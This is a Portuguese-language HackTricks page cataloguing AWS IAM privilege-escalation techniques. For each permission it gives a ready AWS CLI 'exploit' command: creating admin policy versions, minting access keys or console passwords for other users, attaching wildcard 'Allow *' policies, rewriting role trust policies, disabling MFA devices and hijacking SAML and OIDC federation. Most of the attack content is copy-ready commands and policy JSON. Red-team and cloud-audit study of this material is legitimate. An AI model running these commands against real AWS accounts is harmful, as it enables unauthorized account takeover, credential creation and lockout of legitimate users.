AWS - IAM Privesc
Reading time: 8 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
IAM
Para mais informações sobre IAM, consulte:
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
Concede a capacidade de criar uma nova versão de política IAM, contornando a necessidade de permissão iam:SetDefaultPolicyVersion
usando a flag --set-as-default
. Isso permite definir permissões personalizadas.
Comando de Exploração:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
Impacto: Escalona diretamente privilégios ao permitir qualquer ação em qualquer recurso.
iam:SetDefaultPolicyVersion
Permite alterar a versão padrão de uma política IAM para outra versão existente, potencialmente escalonando privilégios se a nova versão tiver mais permissões.
Comando Bash:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
Impacto: Escalada de privilégios indireta ao habilitar mais permissões.
iam:CreateAccessKey
Permite criar um ID de chave de acesso e uma chave de acesso secreta para outro usuário, levando a uma potencial escalada de privilégios.
Exploit:
aws iam create-access-key --user-name <target_user>
Impacto: Escalada de privilégios direta ao assumir as permissões estendidas de outro usuário.
iam:CreateLoginProfile
| iam:UpdateLoginProfile
Permite criar ou atualizar um perfil de login, incluindo a definição de senhas para login no console AWS, levando a uma escalada de privilégios direta.
Exploit para Criação:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Exploit para Atualização:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Impacto: Escalação de privilégio direta ao fazer login como "qualquer" usuário.
iam:UpdateAccessKey
Permite habilitar uma chave de acesso desativada, potencialmente levando a acesso não autorizado se o atacante possuir a chave desativada.
Exploit:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
Impacto: Escalação de privilégio direta ao reativar chaves de acesso.
iam:CreateServiceSpecificCredential
| iam:ResetServiceSpecificCredential
Permite gerar ou redefinir credenciais para serviços específicos da AWS (por exemplo, CodeCommit, Amazon Keyspaces), herdando as permissões do usuário associado.
Exploit para Criação:
aws iam create-service-specific-credential --user-name <username> --service-name <service>
Exploit para Redefinir:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
Impacto: Escalonamento direto de privilégios dentro das permissões de serviço do usuário.
iam:AttachUserPolicy
|| iam:AttachGroupPolicy
Permite anexar políticas a usuários ou grupos, escalando diretamente os privilégios ao herdar as permissões da política anexada.
Exploit para Usuário:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
Exploit para Grupo:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
Impacto: Escalação de privilégio direta para qualquer coisa que a política concede.
iam:AttachRolePolicy
, ( sts:AssumeRole
|iam:createrole
) | iam:PutUserPolicy
| iam:PutGroupPolicy
| iam:PutRolePolicy
Permite anexar ou colocar políticas em funções, usuários ou grupos, possibilitando a escalada de privilégio direta ao conceder permissões adicionais.
Exploit para Função:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Exploit para Políticas Inline:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
Você pode usar uma política como:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
Impacto: Escalação de privilégios direta ao adicionar permissões através de políticas.
iam:AddUserToGroup
Permite adicionar a si mesmo a um grupo IAM, escalando privilégios ao herdar as permissões do grupo.
Exploit:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
Impacto: Escalação de privilégios direta para o nível das permissões do grupo.
iam:UpdateAssumeRolePolicy
Permite alterar o documento da política de assumir função de uma função, possibilitando a assunção da função e suas permissões associadas.
Exploit:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
Onde a política se parece com a seguinte, que concede ao usuário permissão para assumir a função:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
Impacto: Escalação de privilégio direta ao assumir as permissões de qualquer função.
iam:UploadSSHPublicKey
|| iam:DeactivateMFADevice
Permite o upload de uma chave pública SSH para autenticação no CodeCommit e a desativação de dispositivos MFA, levando a uma potencial escalada de privilégio indireta.
Exploit para Upload de Chave SSH:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
Exploit para Desativação de MFA:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
Impacto: Escalação de privilégio indireta ao habilitar acesso ao CodeCommit ou desabilitar a proteção MFA.
iam:ResyncMFADevice
Permite a ressincronização de um dispositivo MFA, potencialmente levando a uma escalada de privilégio indireta ao manipular a proteção MFA.
Comando Bash:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Impacto: Escalação de privilégio indireta ao adicionar ou manipular dispositivos MFA.
iam:UpdateSAMLProvider
, iam:ListSAMLProviders
, (iam:GetSAMLProvider
)
Com essas permissões, você pode alterar os metadados XML da conexão SAML. Então, você poderia abusar da federação SAML para fazer login com qualquer papel que esteja confiando nele.
Observe que, ao fazer isso, usuários legítimos não poderão fazer login. No entanto, você poderia obter o XML, para que possa colocar o seu, fazer login e configurar o anterior de volta.
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
note
TODO: Uma ferramenta capaz de gerar os metadados SAML e fazer login com um papel especificado
iam:UpdateOpenIDConnectProviderThumbprint
, iam:ListOpenIDConnectProviders
, (iam:
GetOpenIDConnectProvider
)
(Incerto sobre isso) Se um atacante tiver essas permissões, ele poderia adicionar uma nova Thumbprint para conseguir fazer login em todos os papéis que confiam no provedor.
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
Referências
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.